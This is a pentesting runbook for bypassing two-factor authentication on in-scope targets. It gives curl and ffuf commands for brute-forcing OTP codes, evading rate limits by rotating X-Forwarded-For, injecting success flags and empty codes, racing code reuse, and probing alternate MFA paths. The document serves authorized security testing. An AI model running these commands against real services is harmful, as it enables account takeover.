2FA / MFA / OTP Bypass
Weak one-time codes, missing rate limits, response tampering, replay, race conditions, and OAuth or remember-me paths that skip the second factor.
A runbook for authorized MFA testing on in-scope targets. Goal: reach an authenticated session without a valid second factor, using accounts you own.
1. Capture the verification flow
Log in with your test account and save each step of the MFA flow from Burp.
# Login step sets a pre-auth cookie, then verification is a separate call
curl -s -c jar.txt -X POST https://target/login \
-d "user=me@example.com&pass=...&session=abc" -o /dev/null
curl -s -b jar.txt -X POST https://target/verify \
-d "code=000000&session=abc" -i
Note the code length (4 digits = 10k, 6 = 1M), the flow order, and whether success is decided client-side.
2. Measure rate limiting
Fire many wrong codes and watch for lockout, delay, or CAPTCHA.
seq -w 0 999 | ffuf -u https://target/verify -X POST \
-d "code=FUZZ&session=abc" \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "session=abc" -mc all -fs 0 -w - -t 20
Rotate X-Forwarded-For, tweak the parameter name case, and add extra params to slip past throttles.
3. Tamper with the response
The client often trusts a boolean or status code.
# Try success-flag injection and empty/omitted codes
curl -s -X POST https://target/verify -b "session=abc" -d "code=" -i
curl -s -X POST https://target/verify -b "session=abc" -d "code[]=&mfa=true" -i
curl -s -X POST https://target/verify -b "session=abc" -d "code=000000&success=true" -i
In Burp, rewrite {"mfa":"false"} to true, change 302 /dashboard to 200, or jump straight to a post-login URL.
4. Replay, reuse, and race
- Reuse one valid code across multiple sessions or after expiry.
- Race two identical verifications with the same code.
- Race login-plus-verify so one code yields two sessions.
seq 20 | xargs -P20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://target/verify -b "session=abc" -d "code=123456"
Watch for double fulfillment or a code that never invalidates.
5. Backup codes and alternate paths
- Test whether backup codes are short, non-expiring, or rate-limit-free.
- Check if disabling MFA needs only the password, not a code.
- Review OAuth/SSO, “remember this device” cookies, and password reset.
- Look for endpoints like
/api/user/settingsthat change MFA with no re-auth.
6. Prove impact
A valid bypass ends in an authenticated session or a reachable account action. Capture the full request sequence; never touch other users’ accounts.
Full pipeline
# 1. Capture a pre-auth session
curl -s -c jar.txt -X POST https://target/login \
-d "user=me@example.com&pass=..." -o /dev/null
# 2. Measure rate limiting (expect lockout if implemented)
seq -w 0 999 | ffuf -u https://target/verify -X POST \
-d "code=FUZZ&session=abc" -b "session=abc" \
-mc all -fs 0 -w - -t 20
# 3. Empty / dropped / array code attempts
curl -s -X POST https://target/verify -b "session=abc" -d "code=" -i
curl -s -X POST https://target/verify -b "session=abc" -d "code[]=" -i
# 4. Race a known-good code
seq 20 | xargs -P20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://target/verify -b "session=abc" -d "code=123456"
Ethics & legality
- Only test accounts you own or are authorized to access; never target real users.
- Keep brute-force volume low and respect program rate limits.
- Document the request sequence and do not perform destructive account actions.